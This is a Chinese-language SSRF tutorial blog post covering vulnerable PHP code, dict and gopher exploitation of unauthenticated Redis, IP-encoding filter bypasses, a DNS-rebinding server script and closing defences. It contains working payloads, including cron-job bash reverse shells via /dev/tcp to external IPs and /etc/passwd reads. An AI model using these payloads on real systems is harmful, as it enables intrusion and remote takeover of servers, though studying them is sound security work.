返回
Featured image of post SSRF 相关

SSRF 相关

go!

SSRF

定义

服务端请求伪造:Server-Side Request Forgery,由攻击者构造使服务端发起请求的漏洞。该请求可以发送至本机、本机所在内网其他服务器、外网等。

一般情况下针对无法从外网直接访问的内部系统

原理

服务端提供从其他服务器获取应用数据的功能,但是对其他服务器的地址没有过滤和限制。例如指定url获取网页文本、加载图片等等。

本质上就是利用存在漏洞的服务器作为跳板攻击内部或远程服务器。

常见漏洞场景

加载图片等资源

http://www.test.com/xxx.php?url=http://127.0.0.1

例如某应用加载选择从远程服务器加载图片到本地,如上述url,如果未作限制和过滤可能会存在漏洞

分享功能

http://www.test.com/xxx.php?url=http://www.haha.com

例如某应用通过传递url参数的方式进行分享内容的跳转

收藏功能

http://www.test.com/xxx.php?url=http://www.test.com/aaa

例如某应用通过传递url参数进行文章、图片等内容的收藏

网页源代码中查找带有关键词的url或接口

share、wap、url、src、source、target、u、3g、display、sourceURl、imageURL、domain等等

PHP中常见的可能引发SSRF的函数

  • file_get_contents()
如果file_get_contents函数参数可控,可构造url获取本地敏感文件
  • fsockopen()
fsockopen(
    string $hostname,
    int $port = -1,
    int &$errno = ?,
    string &$errstr = ?,
    float $timeout = ini_get("default_socket_timeout")
): resource
该函数打开一个网络连接或者Unix套接字连接到指定主机($hostname),返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
  • curl_exec()
<?php
$link = $_GET['url'];
// 创建一个cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $link);
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

常见利用方式

  • 可以对本机、外网、内网其他服务器进行端口扫描并获取一些服务的 banner
  • 攻击运行在内网或本地的应用程序,如redis、mysql等
  • 对内网其他web 应用进行指纹识别(一般通过请求一些常见的默认指纹文件实现)
  • 以当前目标为跳板攻击内外网的 web 应用,一般是使用 get 参数就可以实现的攻击(比如 Struts2 漏洞利用,SQL 注入等)
  • 利用 file 协议读取本地文件

常用协议

file

该协议主要获取本机文件,当有回显时,可用来读取本机敏感文件

file:///etc/passwd

dict

词典网络协议,通常用于探测内网端口开放情况,但一般只能探测带TCP回显的端口;

也可用于攻击存在未授权的redis

dict://x.x.x.x:8080/

dict://x.x.x.x:6379/<Redis 命令>

Gopher

gopher 是一个互联网上使用的分布型的文件搜集和获取网络协议,它将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口,支持多个数据包整合发送。只支持文本,不支持图像

gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,再构造成符合 gopher 协议的请求。 gopher 协议是 ssrf 利用中一个最强大的协议(俗称万能协议)

协议格式

gopher://<host>:<port>/<gopher-path>_<TCP数据流>

注意不可省略下划线_,该字符可以替换为任何字符,但一定要存在

gopher-path可省略

为了得到目标服务的TCP数据流,往往需要使用wireshark、socat等工具抓取原始流量,再对原始流量进行处理

使用gopher发送payload需要进行url编码

当gopher数据包位于http请求中,可能还需要多次url编码

gopher协议构造GET、POST请求

服务端:

<?php
echo "hahaha: ".$_GET["haha"]."\n";
?>

使用bp抓到GET请求包:

GET /ssrf/test.php?haha=ssrf HTTP/1.1
Host: 192.168.66.55

为了构造HTTP协议格式的TCP流,编写转换脚本:

# HTTP协议每行结尾都是"\r\n"


import urllib.parse as urlparse
data = """GET /ssrf/test.php?haha=ssrf HTTP/1.1
Host: 192.168.66.55
"""
ip = "192.168.66.55"
port = 80

encode_data = urlparse.quote(data)
encode_data = encode_data.replace('%0A','%0D%0A')
result = 'gopher://{0}:{1}/'.format(ip, port) + '_' + encode_data
print(result)

转换结果如下:

发送gopher请求:

构造POST请求类似如上,但需要注意POST请求必须包含应有的请求头,即POST、Host、Content-Type和Content-Length(为数据体内容的长度)

漏洞利用

获取本地信息

# 读取敏感文件
file:///etc/passwd

file:///etc/hosts

/proc/net/arp
/etc/network/interfaces
# 探测端口
dict://127.0.0.1:6379/info

攻击未授权Redis

  • 有web尝试写webshell
  • 若支持SSH公钥认证尝试写公钥
  • 写定时任务

dict协议

dict://127.0.0.1:6379/flushall

# 定时任务目录
dict://127.0.0.1:6379/config set dir /var/spool/cron/

# root用户的定时任务文件
dict://127.0.0.1:6379/config set dbfilename root

# 写反弹shell的payload
dict://127.0.0.1:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/7777 0>%261\n"

dict://127.0.0.1:6379/save

&符号需要url编码

gopher协议

编写脚本:

redis-cli -h $1 -p $2 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.66.64/8888 0 >&1\n\n"|redis-cli -h $1 -p $2 -x set haha
redis-cli -h $1 -p $2 config set dir /var/spool/cron
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

使用 socat 模拟抓取原始的 Redis 数据流量:

socat -v TCP-LISTEN:7777,fork TCP-CONNECT:192.168.66.64:6379

执行脚本:

获取到的中间流量:

流量转换:

流量抓换的目的是构造符合目标服务的TCP数据流,观察发现抓取到的流量是\r结尾,而Redis是以CRLF (\r\n)结尾,所以要进行替换,并进行字符url编码

转换脚本:

# coding: utf-8
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第 2、3 字符串是否为 \r
        elif line[-3:-1] == r'\r':
            # 如果该行只有 \r,将 \r 替换成 %0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为 %0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp.replace("$", "%24")

转换后的结果:

使用curl发送gopher协议数据包,可成功执行Redis命令写入计划任务:

可使用Gopherus工具https://github.com/tarunkant/Gopherus,直接生成exp:

攻击未授权MySQL

当MySQL无需密码认证时可直接发送 TCP/IP 数据包。因此在SSRF漏洞下可直接利用gopher攻击无认证的MySQL。

tcpdump抓取原始数据包:

# lo 本地回环网卡
tcpdump -i lo port 3306 -w mysql.pcapng

有待解决??? 未利用成功

绕过方式

IP

  • 短网址302跳转
  • 域名解析到内网,例如127.0.0.1.xip.io > 127.0.0.1
  • 改写IP
    • 192.168.1.1
    • 八进制:0300.0250.1.1
    • 十六进制:0xC0.0xA8.1.1
    • 十进制整数格式(C0A80101的十进制数):3232235777
    • 十六进制数格式:0xC0A80101
  • @:http://www.baidu.com@192.168.1.1/ > http://192.168.1.1

DNS 重绑定

原理

常见的针对SSRF的修复方案如下:

即:先对url中的host进行DNS解析,根据解析到的IP进行白名单判断,不在白名单范围就拒绝请求,在范围内服务端就请求该url。当服务端进行url请求时会进行第二次DNS解析,然而两次DNS解析明显存在时间差,可利用时间差绕过。

DNS中TTL指的是域名和IP绑定关系的Cache在DNS上存活的最长时间,在这个时间内当域名到达后且缓存里有该域名记录,则直接返回缓存好的结果,如果超过TTL则丢弃缓存,当域名到达后就会重新向上层域名服务器请求解析,再重新建立缓存。

因此要利用时间差进行重绑定本质就是:利用两次解析同一域名的间隙(超过了TTL),更换域名解析结果从而绕过防御。

实际情况中会有不理想的情况:

  • java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s。可在/Library/Java/JavaVirtualMachines/jdk/Contents/Home/jre/lib/security/java.security 中配置
  • 在php中则默认没有缓存
  • Linux默认不会进行DNS缓存,mac和windows会缓存
  • 有些公共DNS服务器,比如114.114.114.114会把记录进行缓存,但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存

利用

在线平台:

自建DNS服务:

  1. 首先需要指定某域名的域名服务器,设置NS记录:test.com NS dns.com
  2. 也要有自建dns服务器(dns.com)的A记录,指明其IP:dns.com A 39.94.x.x
  3. 自建服务器的DNS解析实现,使用python的 twisted.names(一个建立DNS服务端和客户端的库):
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server


record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name] < 1:
            # 随意一个可绕过检查的IP
            ip = "104.160.43.154"
        else:
            ip="127.0.0.1"
        if name not in record:
            record[name] = 0
        record[name] += 1
        print name + " ===> " + ip
        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s' % ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()

if __name__ == '__main__':
    raise SystemExit(main())

防御

  • 禁用不需要的协议,仅仅允许http和https请求。防止类似于file、gopher、ftp 等引起的问题
  • 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
  • 限制端口
  • 验证返回内容:根据请求资源的类型验证返回内容是否符合该类型格式
  • 统一错误信息和回显内容
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy